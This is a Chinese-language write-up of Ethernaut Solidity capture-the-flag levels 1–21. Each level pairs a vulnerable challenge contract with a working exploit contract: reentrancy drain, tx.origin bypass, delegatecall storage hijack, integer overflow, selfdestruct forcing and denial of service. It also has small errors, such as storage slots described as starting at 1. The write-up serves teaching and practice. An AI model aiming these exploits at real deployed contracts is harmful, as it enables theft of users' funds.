# Ethernuat Write Ups
前情提要:
[https://decert.me/tutorial/solidity/intro](https://decert.me/tutorial/solidity/intro)
## Level 1 Fallback
Victim's Address: 0x640ba57ADbCEbaD2E472c56E190EF120C4087589
第一次操作Remix IDE,胡亂胡亂終於搞懂了......
Remix IDE 教學:[https://decert.me/tutorial/solidity/tools/remix](https://decert.me/tutorial/solidity/tools/remix)
**Step 0. Start Instance**
滑到底部,開啟,交易後按下 F12 就會看到當前協議的地址
![image](https://hackmd.io/_uploads/H1f8QV4RR.png)
**Step 1. Deploy**
把題目提供的solidity腳本貼到Remix IDE創建的新文件上面:
![image](https://hackmd.io/_uploads/H109xV4CC.png)
接著compile協議,然後去 deploy & run 選擇Injected錢包、Gas Limit調一下(不然很燒燃料費,本次使用50000),最後在 At Address調整一下地址成剛剛的協議地址
![image](https://hackmd.io/_uploads/S1PPM44RA.png)
點開底部的Contracts,原則上應該在剛剛的地址建立協議了:
![image](https://hackmd.io/_uploads/rkrS4V4CR.png)
一排按鈕就是協議裡面public可檢視的內容,可以看到一開始owner不是自己~
![image](https://hackmd.io/_uploads/SypFNEV00.png)
**Step 2. Exploit**
任務:
1. 變成owner
2. 把錢提走
**Source Code**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint256) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
```
觀察`contribute`,在contribution大小超過原本的owner時就可以成為新的owner,而`withdraw`方法做的事情就是透過onlyOnwer確認你是owner後就把錢都往你地址轉,就完成這題了!
Exploit: contribute -> owner(確認自己是owner) -> withdraw
P.S. contribute 1 wei的方法
![image](https://hackmd.io/_uploads/S19p_V4RC.png)
## Level 2 Fallout
任務:
1. 變成owner
**Source Code**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "openzeppelin-contracts-06/math/SafeMath.sol";
contract Fallout {
using SafeMath for uint256;
mapping(address => uint256) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint256) {
return allocations[allocator];
}
}
```
發現constructor函數外露,直接去請求Fal1out就變成owner了
## Level 3 Coin Flip
Victim's Address: 0xBC01FBc340C413293489418b0A0c9A0C54336Ab9
題目要求:
1. 連續預測正確十次
**Source Code:**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
```
首先觀察,發現每次隨機是由區塊上的狀態取hash,所以只需要部署一個服務在相同的鏈上就可以取得相同的狀態,進而獲得當次的硬幣區塊。
**Exploit.sol**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Coinflip {
function flip(bool _guess) external returns (bool);
}
contract FAKE_CoinFlip {
Coinflip public target = Coinflip(0xBC01FBc340C413293489418b0A0c9A0C54336Ab9);
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function FAKE_flip() public{
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
target.flip(side);
}
}
```
利用建立interface的方法把預測結果送到Victim's Contract, 呼叫十次Fake_flip就結束這回合ㄌ
P.S.可以自己把GAS Limit調小,打起來不會太貴
![image](https://hackmd.io/_uploads/HkdOD6Oykl.png)
## Level 4 Telephone
Victim's Address: 0xe905433025193D3CBF904601Aab36E6a82d6C591
任務:
1. 變成owner
**Source Code:**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
```
在solidity裡面,tx.origin是發起交易時會記錄在stack上面的起始位置,而msg.sender則單純看信息來源是誰,意味著使用tx.origin判斷使用者是誰是不安全的。
發起中間人攻擊
**Exploit.sol**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Telephone {
function changeOwner(address _owner) external;
}
contract MitM {
Telephone public target = Telephone(0xe905433025193D3CBF904601Aab36E6a82d6C591);
function attack(address _owner) public{
target.changeOwner(_owner);
}
}
```
最後Deploy出去,再attack(自己的地址)即可。
## Level 5 Token
一個基本的Token系統,初始進入時會給你20個token
任務:
1. 讓自己的balance>20
**Source code:**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint256) balances;
uint256 public totalSupply;
constructor(uint256 _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
```
觀察到它使用了uint256進行資料儲存,所以儘管會檢查餘額,只要輸入像是 $2^{256} - 1$ 之類的數字就可以完成Interger Overflow的攻擊,讓餘額變成 $20+(2^{256} - 1)=21(mod 2^{256})$
![image](https://hackmd.io/_uploads/B1Ndp6OJ1l.png)
## Level 6 Delegation
任務:
1. 變成owner
所謂的delegation,以這題而言就是可以在Delegation的合約裡調用Delegate的函數(不包含環境),而fallback函數則是被傳入空值時會調用到的函數,所以以這題而言發個空的pwn()過去Delegation合約即可。
~~不過這題如果想過呼叫一下Delegate合約的pwn()就好(X)~~
**Source Code:**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
```
具體利用方法為取得pwn()的Keccack-256 hash前4 bytes往Delegation送就好。
[Online Keccack-256(link)](https://emn178.github.io/online-tools/keccak_256.html)
![image](https://hackmd.io/_uploads/S1_2b0_1kx.png)
![image](https://hackmd.io/_uploads/SJS-GCOy1e.png)
PWNED!!
## Level 7 Force
Victim's address: 0x52C5746DA9D2Ebd076e06A3F99D3415132AA4129
一個空的合約
任務:
1. 讓他的balance>0 ?!
~~啥玩意~~
**Source Code:**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force { /*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/ }
```
在solidity裡面,如果在同一個net內,可以利用selfdestruct(addr)的方法將錢強制轉到地址addr,所以有了以下攻擊服務:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SimpleWallet {
event Deposit(address indexed sender, uint amount);
constructor() {
}
function deposit() public payable {
require(msg.value > 0, "Must send some ether");
emit Deposit(msg.sender, msg.value);
}
function attack() public payable {
address payable addr = payable(address(0x52C5746DA9D2Ebd076e06A3F99D3415132AA4129));
selfdestruct(addr);
}
}
```
先透過deposit轉入 1 wei 的錢,再利用attack函數觸發selfdestruct即可。
![image](https://hackmd.io/_uploads/rJFkZ1tJJl.png)
## Level 8 Vault
任務:
1. 送出正確的密碼
**Source Code:**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
```
在solidity中,把一個變數設為private僅代表它不會被其他合約調用,不等於查不到。
尋找方法(Remix IDE console):
```js
web3.eth.getStorageAt(contract.address, 1)
```
![image](https://hackmd.io/_uploads/SyEJsgKyJe.png)
拿到ㄌXD,透過unlock函數送回去即可。
## Level 9 King
Victim's address: 0xa0E4564E6bb136c3563af930Fcd6f6ebBf8a6729
任務:
1. 讓別人無法再轉帳進來
這個合約會訂定一個prize的值,如果你想成為King,你需要轉入大於prize的一筆錢,而你可以獲取以前的prize金額(~~龐氏騙局來著~~)
**Source Code:**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint256 public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
```
solidity裡面的transfer中,如果調用對象的地址是一個合約,那它會依序去觸發`receive -> fallback`
然而,今天如果攻擊者合約的fallback函數是壞掉的,並在一開始去轉帳佔領了目前King的身分,將會導致其他用戶無法轉帳成功並成為新的King。
**Exploit.sol**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SimpleWallet {
event Deposit(address indexed sender, uint amount);
function deposit() public payable {
require(msg.value > 0, "Must send some ether");
emit Deposit(msg.sender, msg.value);
}
function attack() public payable {
address payable addr = payable(address(0xa0E4564E6bb136c3563af930Fcd6f6ebBf8a6729));
(bool success, ) = addr.call{value: 1000000000000001}("");
require(success, "Transfer failed");
}
fallback() external payable{
require(false);
}
}
```
一樣部署在Remix IDE,先用deposit函數幫它充值一下再透過attack轉帳到Victim那
## Level 10 Re-entrancy
Victim's address: 0x1A1D0331408f581F2566B57a2456286171d7F0a1
任務:
1. 把所有錢領走
**Source Code:**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "openzeppelin-contracts-06/math/SafeMath.sol";
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
```
**重入攻擊**
(Re-entrancy Attack),如上面的程式所示,withdraw函數是先用call把錢轉入對方帳戶再確認ammount,聽起來很正常...
但今天如果轉入的帳戶地址是一個合約,並且fallback函數(承上題知識點:call進來的時候就會觸發fallback)會再次去請求Victim的withdraw?!
瞬間變成不斷卡在提款階段,導致根本沒辦法進行到amount的檢查
**Exploit.sol**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Reentrance{
function donate(address _to) external payable;
function withdraw(uint _amount) external;
function balanceOf(address _who) external view returns (uint balance);
}
contract WhaleWallet {
Reentrance public victim = Reentrance(0x1A1D0331408f581F2566B57a2456286171d7F0a1);
address payable public target = payable(address(0x1A1D0331408f581F2566B57a2456286171d7F0a1));
event Deposit(address indexed sender, uint amount);
function deposit() public payable {
require(msg.value > 0, "Must send some ether");
emit Deposit(msg.sender, msg.value);
}
function attack() public payable {
victim.donate{value: 0.0001 ether}(address(this));
victim.withdraw(0.0001 ether);
}
fallback() external payable{
victim.withdraw(0.0001 ether);
}
}
```
## Level 11 Elevator
Victim's address: 0xcFb281781d8f9a09EE3Ba9C400bCDBF6b284f06a
目標:
1. 改變 floor 的值
2. top 是 true
**Source Code**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint256) external returns (bool);
}
contract Elevator {
bool public top;
uint256 public floor;
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
```
它會去調用發送地址的isLastFloor函數,如果請求結果第一次是false,floor就會被更新,然後top會變成再次請求isLastFloot的結果。
想達成任務,只需要寫一個第一次會回傳false,第二次會回傳true的函數即可~
**Exploit.sol**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Elevator {
function goTo(uint256 _floor) external;
}
contract WhaleHouse{
uint256 public meow=0;
Elevator public target = Elevator(0xcFb281781d8f9a09EE3Ba9C400bCDBF6b284f06a);
function isLastFloor(uint256 floor) payable public returns(bool){
if(meow==0){
meow=1;
return false;
}
else{
return true;
}
}
function attack() public payable{
target.goTo(1);
}
}
```
deploy好按下attack,最後檢查meow是不是變成1就知道是否通關了!
## Level 12 Privacy
Victim's address: 0x2b7c7D52206360eD5797bB108cD4Ee24e2Daf367
任務:
1. 拿到密碼通關
**Source Code:**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;
constructor(bytes32[3] memory _data) {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
```
solidity儲存一格資料(slot)是256bits,編號從1開始。
所以一開始的bool locked因為後面接的是uint256的資料ID,會獨自占用一個slot,同理對於ID
接著後面三個資料flattening, denomination, awkwardness一起占用一個slot,最後就是data每項自己占用一格。
slot table:
|index|contents|
|---|---|
|1|locked(1 bit)|
|2|ID(256 bits)|
|3|flattening+denomination+awkwardness*(32 bits)|
|4|data[0](256 bits/32 bytes)|
|5|data[1](256 bits/32 bytes)|
|6|data[2](256 bits/32 bytes)|
接下來就跟Level 8的Vault一樣了,取前16bytes資料送出,結案XD
`web3.eth.getStorageAt('0x2b7c7D52206360eD5797bB108cD4Ee24e2Daf367', 5)`
![image](https://hackmd.io/_uploads/SkBphWaJJl.png)
## Level 13 Gatekeeper One
Victim's address: 0x7b23B267AC4CC8314a961F5575Ed8a4116cA8d5c
My wallet address: 0x4a63cD2DD88C72Bb47Fa8158c9b2be5294D5f05C
任務:
1. 通過所有gate
**Source Code:**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
```
第一個gate就是過去tx.origin的繞過,建立一個attack service再由我們錢包發起,EZ
第二個gate就是進行爆破,讓gasfee最後可以通過即可。
第三個則是要構造通過gate three函數的payload,基本上動腦想想就好ㄌ
我是構造`0xfaceb00c0000f05C`,`faceb00c`任意換成非零的東西都可以。
**Exploit.sol**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Exploit {
function attack_(bytes8 _gateKey) public {
for (uint256 i = 0; i < 1000; i++) {
(bool result,) = address(0x7b23B267AC4CC8314a961F5575Ed8a4116cA8d5c).call{gas:i + 8191 * 4}(abi.encodeWithSignature("enter(bytes8)",_gateKey));
if (result) {
break;
}
}
}
}
```
## Level 14 Gatekeeper Two
任務:
1. 通過三個gate
**Source Code:**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint256 x;
assembly {
x := extcodesize(caller())
}
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
```
第一個gate老招數,中間人
第二個gate則是solidity的特性,他會計算地址的程式大小,但solidity不會把coonstructor算入程式大小
第三個gate就是簡單拿合約取hash xor即可
**Exploit.sol**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface GatekeeperTwo{
function enter(bytes8 _gateKey) external returns (bool);
}
contract Exploit{
constructor(address target) {
bytes8 payload = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ type(uint64).max);
GatekeeperTwo(target).enter(payload);
}
}
```
## Level 15 Naught Coin
任務:
1. 把所有自己的Naught Coin Token轉走
一個繼承ERC 20的Token合約,可以參考這篇會比較清楚:[https://news.cnyes.com/news/id/4981550](https://news.cnyes.com/news/id/4981550)
transfer protocol被鎖了,要等十年
**Source Code:**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint256 public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player) ERC20("NaughtCoin", "0x0") {
player = _player;
INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}
```
因為他沒有幫transferFrom上鎖,但這在ERC20裡面依然可以轉帳
所以使用approve把自己的token領出來->transferFrom轉到instance帳號即可
P.S.記得把自己錢用balenceOf領乾淨w
```js
balance = await contract.balanceOf(player).then(v => v.toString())
contract.approve(player, balance)
contract.transferFrom(player, instance, balance)
```
## Level 16 Preservation
任務:
1. 把自己變成owner
Victim's address: 0x7b23B267AC4CC8314a961F5575Ed8a4116cA8d5c
My wallet address: 0x4a63cD2DD88C72Bb47Fa8158c9b2be5294D5f05C
**Source Code:**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint256 storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint256 _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint256 _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint256 storedTime;
function setTime(uint256 _time) public {
storedTime = _time;
}
}
```
**分析:**
在Solidity裡,delegatecall是以呼叫的contract的方法所帶來的結果呈現在當前的contract內,所以如果layout不同就會造成問題
在LibraryContract裡面,他的layout長這樣:
|Type|Object|
|---|---|
|uint256|storedTime|
而在Preservation裡:
|Type|Object|
|---|---|
|address|timeZone1Library|
|address|timeZone2Library|
|address|owner|
|bytes4|setTimeSignature|
所以只需要在第一次呼叫的時候傳入自架合約的地址就會覆蓋掉layout裡第一個的timeZone1Library地址,最後再透過setFirstTime讓他跳來本地呼叫setTime函數,並利用layout差異把owner換掉即可。
**Exploit.sol**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Preservation {
function setFirstTime(uint256 _timeStamp) external;
function setSecondTime(uint256 _timeStamp) external;
}
contract Exploit{
address public timeZone1Library;
address public timeZone2Library;
address public owner;
function attack (address my_addr) public{
Preservation target=Preservation(0xb9d722739372d1d73b396b26c89ad18187245B34);
target.setSecondTime(uint256(uint160(my_addr)));
target.setFirstTime(uint256(uint160(0x4a63cD2DD88C72Bb47Fa8158c9b2be5294D5f05C)));
}
function setTime(uint256 time) public {
owner=address(uint160(time));
}
}
```
## Level 17 Recovery
任務:
1. 找到合約部署去哪裡
2. 把錢轉到自己帳戶
Victim's address: 0x4934c73271203bB8B86617dC589f6Cd9006C9320
My wallet address: 0x4a63cD2DD88C72Bb47Fa8158c9b2be5294D5f05C
可以到 etherscan 網站上拿Victim地址去查(**記得切到Sepolia Testnet**)
[https://sepolia.etherscan.io/tx/0xb136a851e93d7bef55c1a74c8509b9cddc6ccbd7d9eb1c0f69efbdc88d5215d5](https://sepolia.etherscan.io/tx/0xb136a851e93d7bef55c1a74c8509b9cddc6ccbd7d9eb1c0f69efbdc88d5215d5)
![image](https://hackmd.io/_uploads/BJ9SpNcgJe.png)
最後透過 destroy 函數把錢全部轉來自己這邊就好
P.S.題目給的合約地址就是一個部署器 :D
**Source Code:**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
string public name;
mapping(address => uint256) public balances;
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value * 10;
}
// allow transfers of tokens
function transfer(address _to, uint256 _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender] - _amount;
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
```
## Level 18 MagicNumber
任務:
1. 用 <=10 bytes opcode 寫一個合約只return 42
**芝士點:**
首先,一個合約的OPCODE分為Creation Code和Runtime Code,而extcodesize檢查的是Runtime Code Size。
再來,EVM OPCODE中所操作的元素都在Stack上面,先推進去就最後出來。
而執行中的資料儲存預設會在memory的0x80後開始寫。
再來是各種opcode的呼叫對照表:[https://www.evm.codes/](https://www.evm.codes/)
根據上述資訊,就可以把Runtime Code寫出來:
```opcode
PUSH1 0x2a // 42
PUSH1 0x80 // memory offset
MSTORE //把0x2a存到memory的0x80上,MSTORE一次是32bytes的資料
PUSH1 0x20 // size (bytes)
PUSH1 0x80 // memory offset
RETURN //把0x20 bytes大小,在memory 0x80上的資料回傳
```
再來是 Creation Code,簡單來說就是把Runtime Code return出去
```opcode
PUSH1 0x0a // Runtime Code 大小
PUSH1 0x0c // 讀取的offset(這組Creation Code是0x00~0x0b,所以從0x0c開始)
PUSH1 0x00 // 寫入的offset(放Runtime Code)
COPYCODE // 把0x0c開始,大小10 bytes的Runtime Code Copy到0x00上
PUSH1 0x0a // size (bytes)
PUSH1 0x00 // memory offset
RETURN
```
**Exploit.sol**
最後照送就好
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface MagicNum{
function setSolver(address _solver) external;
}
contract Exploit{
function attack() external {
/*
PUSH1 0x0a
PUSH1 0x0c
PUSH1 0x00
COPYCODE
PUSH1 0x0a
PUSH1 0x00
RETURN
PUSH1 0x2a
PUSH1 0x80
MSTORE
PUSH1 0x20
PUSH1 0x80
RETURN
*/
bytes memory code="\x60\x0a\x60\x0c\x60\x00\x39\x60\x0a\x60\x00\xf3\x60\x2a\x60\x80\x52\x60\x20\x60\x80\xf3";
address solver;
assembly{
solver:=create(0, add(code, 0x20), mload(code))
}
MagicNum(0x24705F72074419Cd0458A58C6dDC2DFEfA6B3F2a).setSolver(solver);
}
}
```
## Level 19 Alien Codex
任務:
1. 把自己變成 owner
Victim's address: 0xa6041A6eE07862C349Cb9497c698BCf14c6be8F0
My wallet address: 0x4a63cD2DD88C72Bb47Fa8158c9b2be5294D5f05C
**Source Code:**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import "../helpers/Ownable-05.sol";
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function makeContact() public {
contact = true;
}
function record(bytes32 _content) public contacted {
codex.push(_content);
}
function retract() public contacted {
codex.length--;
}
function revise(uint256 i, bytes32 _content) public contacted {
codex[i] = _content;
}
}
```
上github看一下就會知道Owner合約就是一個定義了owner, owner group等資訊的庫,沒什麼可以下手的點 🤔
再來,`bytes32[]`在solidity裡是一個動態的陣列,它在slot的位置會是儲存它資料大小的變數的位置取keccak256 hash後的數,而slot的大小最多就是$2^{256}-1$個。
利用合約裡面的record功能就能知道它在`slot[1]`的位置,而0上面就是一個bool以及owner的資訊
layout一下:
|slot index|Type|Object|
|---|---|---|
|0|bool, address|contact, owner|
|1|uint256|len(codex)|
|...|...|...|
|keccak256(1)|bytes32|codex[0]|
|keccak256(1)+1|bytes32|codex[1]|
|...|...|...|
|$2^{256}-1$|bytes32|codex[$2^{256}-1$-keccak256(1)]|
然而,在solidity 0.8.0 以前都不會做overflow的檢查,這也意味者去存取`codex[$2^{256}-1$-keccak256(1)]`上的資料就會覆蓋回去slot[0]的資料!
最後按照這個思路寫exploit就好ㄌ
**Exploit.sol**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface AlienCodex{
function makeContact() external;
function record(bytes32 _content) external;
function retract() external;
function revise(uint256 i, bytes32 _content) external;
}
contract Exploit{
function attack() public{
AlienCodex target = AlienCodex(0xa6041A6eE07862C349Cb9497c698BCf14c6be8F0);
target.makeContact();
target.retract();
uint256 id=((2 ** 256) - 1) - uint256(keccak256(abi.encode(1))) + 1;
target.revise(id, bytes32(uint256(uint160(0x4a63cD2DD88C72Bb47Fa8158c9b2be5294D5f05C))));
}
}
```
## Level 20 Denial
任務:
1. 阻斷合約服務
**Source Code:**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint256 timeLastWithdrawn;
mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint256 amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value: amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint256) {
return address(this).balance;
}
}
```
很簡單,他withdraw裡面的partner.call雖然不會去管回傳是true還是false,但想阻斷服務只要寫個receive函數是死的while迴圈即可XDD
**Exploit.sol**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Exploit{
fallback() external payable{
while(true){}
}
}
```
## Level 21 Shop
任務:
1. 把合約的price改低
**Source Code:**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Buyer {
function price() external view returns (uint256);
}
contract Shop {
uint256 public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
```
在solidity的view函數裡,不可以進行會改變內部變數的行為或調用非view, pure的函數。
但這題可以利用victim合約裡的isSold變數進行繞過,進而再次進行請求
**Exploit.sol**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Shop {
function isSold() external view returns (bool);
function buy() external;
}
contract Buyer{
Shop target=Shop(0x8593Fdcb20E14E6c2707209299979435e25f7B7C);
function price() public view returns (uint256){
if (target.isSold()) return 99;
else return 101;
}
function attack() public{
target.buy();
}
}
```